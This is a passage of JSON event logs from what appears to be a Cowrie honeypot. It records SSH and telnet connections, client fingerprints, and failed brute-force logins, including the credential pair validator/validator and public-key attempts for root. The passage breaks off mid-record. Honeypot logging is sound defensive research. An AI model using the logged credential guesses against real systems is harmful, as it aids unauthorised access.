{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:36.912397Z","src_ip":"2.57.122.208","session":"2fc2349d29a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:36.916106Z","src_ip":"2.57.122.208","session":"2fc2349d29a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:38.448892Z","src_ip":"2.57.122.208","session":"2fc2349d29a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00097751617432,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:38.644973Z","src_ip":"212.55.149.117","session":"02fb6aa29b71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:39.755866Z","src_ip":"2.57.122.208","session":"2fc2349d29a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52404,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f6979f9d12","protocol":"telnet","message":"New connection: 128.199.8.54:52404 (159.203.135.109:23) [session: a1f6979f9d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:50.753790Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54274,"dst_ip":"159.203.135.109","dst_port":23,"session":"2469eb004a3c","protocol":"telnet","message":"New connection: 128.199.8.54:54274 (159.203.135.109:23) [session: 2469eb004a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:50.763253Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33020,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d477b82201c","protocol":"telnet","message":"New connection: 128.199.8.54:33020 (159.203.135.109:23) [session: 8d477b82201c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:54.125749Z"}
{"eventid":"cowrie.session.closed","duration":32.125200510025024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:55.160620Z","src_ip":"45.148.121.166","session":"a77a8049829c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39806,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f319581244b","protocol":"telnet","message":"New connection: 128.199.8.54:39806 (159.203.135.109:23) [session: 4f319581244b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:57.616649Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.36.194","src_port":33076,"dst_ip":"10.17.0.5","dst_port":22,"session":"356469f8a347","protocol":"ssh","message":"New connection: 62.210.36.194:33076 (10.17.0.5:22) [session: 356469f8a347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:03.731397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:03.736395Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:03.823366Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:f7:96:27:7c:01:72:10:69:19:d1:a5:ae:41:e0:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC071lVDpXF1fnslc7yAd67Qn5UPBUYExPgWZ2H5ZMx4F7ZyyfZ1EMxRAZBGM402nhikeYcmPX7unWDdjI/ZkrF3UpD18TpEK3s9/Ea+w5e9FlYbbwByH2PrO+P4xjUg1824izjJmu1UEux/vbmTe9xueA25DaWADjE5dsG5dZeQwqz43yxBwyaBXEAOhCNPVztfKssuC0bOoMmZRq/d7th/fRqsSJXCDFnWnWW0driAs9jYn/1xS+eF6BsXSASu7FaRZwGBIh/F6gsYsx/m15HZFwLQk7sOGCJdfTz4XxzrJcq9l6YIi+6+Z9LiA1XI9FSKz1IksY7dvF2lHHQdxtn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:f7:96:27:7c:01:72:10:69:19:d1:a5:ae:41:e0:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.297346Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:f7:96:27:7c:01:72:10:69:19:d1:a5:ae:41:e0:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC071lVDpXF1fnslc7yAd67Qn5UPBUYExPgWZ2H5ZMx4F7ZyyfZ1EMxRAZBGM402nhikeYcmPX7unWDdjI/ZkrF3UpD18TpEK3s9/Ea+w5e9FlYbbwByH2PrO+P4xjUg1824izjJmu1UEux/vbmTe9xueA25DaWADjE5dsG5dZeQwqz43yxBwyaBXEAOhCNPVztfKssuC0bOoMmZRq/d7th/fRqsSJXCDFnWnWW0driAs9jYn/1xS+eF6BsXSASu7FaRZwGBIh/F6gsYsx/m15HZFwLQk7sOGCJdfTz4XxzrJcq9l6YIi+6+Z9LiA1XI9FSKz1IksY7dvF2lHHQdxtn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.301241Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:d4:25:33:47:c6:22:5d:dc:fa:51:b7:f3:4a:9f:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSZWwkorXGT0OZBhq2kbwHyZLk11riCP9MhFPnEoQayyiRQXC/AICoiTR/srm81mPsQX5qn9+KSR7SQJu4QKrJV5R6tlutzsW2D7K2w/gnddRhGMt58sYlNOP08B/wYscn3ztod/a7VMKb7gDGOkw7T6562i+jTzaj5ZsOdFlfeNKHSoMn2vP2veJM1gf7oYcptgHadhLhTzGZsxE6LekDX8+WLWm00+Rl+IVB0/3rqFWAeGxKoz30YCw8yIR1z+hCzClZwyYOJN4ub0mNat9AlNl20J6fpaaiIJHHHNv82H8rovDyjDedejLlW555l44R21G/WzJKLthjj1yLYIf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:d4:25:33:47:c6:22:5d:dc:fa:51:b7:f3:4a:9f:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.383459Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:d4:25:33:47:c6:22:5d:dc:fa:51:b7:f3:4a:9f:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxSZWwkorXGT0OZBhq2kbwHyZLk11riCP9MhFPnEoQayyiRQXC/AICoiTR/srm81mPsQX5qn9+KSR7SQJu4QKrJV5R6tlutzsW2D7K2w/gnddRhGMt58sYlNOP08B/wYscn3ztod/a7VMKb7gDGOkw7T6562i+jTzaj5ZsOdFlfeNKHSoMn2vP2veJM1gf7oYcptgHadhLhTzGZsxE6LekDX8+WLWm00+Rl+IVB0/3rqFWAeGxKoz30YCw8yIR1z+hCzClZwyYOJN4ub0mNat9AlNl20J6fpaaiIJHHHNv82H8rovDyjDedejLlW555l44R21G/WzJKLthjj1yLYIf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.387234Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:14:23:fc:8f:8e:57:ad:04:c2:ee:50:e0:e4:e7:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxHJziGRIsnhpLEWHLT3VrnfD1lu1qP0czJ+hKrgFiSlQ5hxRSLAitfE00WwiFrn+UWuTVNm3SsdzFnN3d315AZxgxO6LuDIejASyT/cysvo4VzkqCjmWAL/QVPaR0eM77cgKmd8S/cSDiIInzgGy08Tu74VvoG+BMCuATXEDR9qwXK41KpP0QSq08Usgtf2R5praBSUA4y0sf1LFjGoHybQhVvv3MlhD37Sj16BnazIdQGpowjl02+gOX0b8XEec0wGcW2ELUotNdtJsrYucQ1WmtRmyDDIo03pDx1IqMBbVcEkJHmMgtd2OXm2VdOMJ1lTf4T798JkqeagSlejMV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:14:23:fc:8f:8e:57:ad:04:c2:ee:50:e0:e4:e7:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.469483Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:14:23:fc:8f:8e:57:ad:04:c2:ee:50:e0:e4:e7:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxHJziGRIsnhpLEWHLT3VrnfD1lu1qP0czJ+hKrgFiSlQ5hxRSLAitfE00WwiFrn+UWuTVNm3SsdzFnN3d315AZxgxO6LuDIejASyT/cysvo4VzkqCjmWAL/QVPaR0eM77cgKmd8S/cSDiIInzgGy08Tu74VvoG+BMCuATXEDR9qwXK41KpP0QSq08Usgtf2R5praBSUA4y0sf1LFjGoHybQhVvv3MlhD37Sj16BnazIdQGpowjl02+gOX0b8XEec0wGcW2ELUotNdtJsrYucQ1WmtRmyDDIo03pDx1IqMBbVcEkJHmMgtd2OXm2VdOMJ1lTf4T798JkqeagSlejMV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.472962Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:3f:b7:08:4f:30:2c:0f:1c:9b:8e:fe:d2:14:fc:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA+Z9gijjnSbrB16FhUo2p2Gzdvo3Qm7K8QcKsUUm4p7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 47:3f:b7:08:4f:30:2c:0f:1c:9b:8e:fe:d2:14:fc:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.556977Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:3f:b7:08:4f:30:2c:0f:1c:9b:8e:fe:d2:14:fc:11","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA+Z9gijjnSbrB16FhUo2p2Gzdvo3Qm7K8QcKsUUm4p7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.560373Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:b9:4f:f8:9d:94:8d:30:dd:63:fc:cc:4c:e5:f9:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTHjdQHJOI971C0zifmX4/WFLCWn7E5nuG35TzFUGj2pQjYy4+K6ABCx4cMQBli+N+hQD1Ed3iHG5GgMsoUk7wXxyGYXF/GPH7JCboGMYnmKBqnh7ti3/cxMHeZbwlIIKai2rpbHnbMBs36vj+MGr3r7vxflhGdqXy2aimscuexjtIM1/xw31SwJVZzBuU6KbkIF+NIu3hfhl4RVYBzIDWGaoCw6j6o0cMTaV2Ljs3o3RcNxm0nztXSwp+XKpHh7cKIUtb+hybLh5zzhRVk0zVR8uwoHUcGmbXlsB+2hGvaBNO9KjJSbOiehgwt0792teQFu5oGYDyq+HJdEhNXIn5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:b9:4f:f8:9d:94:8d:30:dd:63:fc:cc:4c:e5:f9:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.642890Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:b9:4f:f8:9d:94:8d:30:dd:63:fc:cc:4c:e5:f9:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTHjdQHJOI971C0zifmX4/WFLCWn7E5nuG35TzFUGj2pQjYy4+K6ABCx4cMQBli+N+hQD1Ed3iHG5GgMsoUk7wXxyGYXF/GPH7JCboGMYnmKBqnh7ti3/cxMHeZbwlIIKai2rpbHnbMBs36vj+MGr3r7vxflhGdqXy2aimscuexjtIM1/xw31SwJVZzBuU6KbkIF+NIu3hfhl4RVYBzIDWGaoCw6j6o0cMTaV2Ljs3o3RcNxm0nztXSwp+XKpHh7cKIUtb+hybLh5zzhRVk0zVR8uwoHUcGmbXlsB+2hGvaBNO9KjJSbOiehgwt0792teQFu5oGYDyq+HJdEhNXIn5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.646632Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:04.730065Z","src_ip":"62.210.36.194","session":"356469f8a347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56792,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7d2b986e1c","protocol":"telnet","message":"New connection: 128.199.8.54:56792 (159.203.135.109:23) [session: 9f7d2b986e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:09.352521Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.97.69","src_port":26188,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc92294e67e","protocol":"telnet","message":"New connection: 2.57.97.69:26188 (159.203.135.109:23) [session: edc92294e67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:10.037889Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"6743c688c7a4","protocol":"telnet","message":"New connection: 45.148.121.166:48042 (159.203.135.109:23) [session: 6743c688c7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:12.758171Z"}
{"eventid":"cowrie.session.closed","duration":33.599918603897095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:24.353588Z","src_ip":"128.199.8.54","session":"a1f6979f9d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.372842788696289,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:24.410645Z","src_ip":"2.57.97.69","session":"edc92294e67e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.69487476348877,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:25.458007Z","src_ip":"128.199.8.54","session":"2469eb004a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.896153926849365,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:28.021787Z","src_ip":"128.199.8.54","session":"8d477b82201c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.2712676525116,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:37.887782Z","src_ip":"128.199.8.54","session":"4f319581244b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47964,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c0630a9e74","protocol":"telnet","message":"New connection: 45.148.121.166:47964 (159.203.135.109:23) [session: 99c0630a9e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:40.950898Z"}
{"eventid":"cowrie.session.closed","duration":33.822383403778076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:43.174783Z","src_ip":"128.199.8.54","session":"9f7d2b986e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72993230819702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:23:43.487916Z","src_ip":"45.148.121.166","session":"6743c688c7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56144,"dst_ip":"159.203.135.109","dst_port":22,"session":"d064cd161b50","protocol":"ssh","message":"New connection: 80.94.92.186:56144 (159.203.135.109:22) [session: d064cd161b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:02.806671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:02.847363Z","src_ip":"80.94.92.186","session":"d064cd161b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:02.940228Z","src_ip":"80.94.92.186","session":"d064cd161b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:04.194952Z","src_ip":"80.94.92.186","session":"d064cd161b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:05.453723Z","src_ip":"80.94.92.186","session":"d064cd161b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55158,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb3d0a30ba2d","protocol":"ssh","message":"New connection: 103.15.226.202:55158 (10.17.0.5:22) [session: eb3d0a30ba2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:09.634186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:24:09.639426Z","src_ip":"103.15.226.202","session":"eb3d0a30ba2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 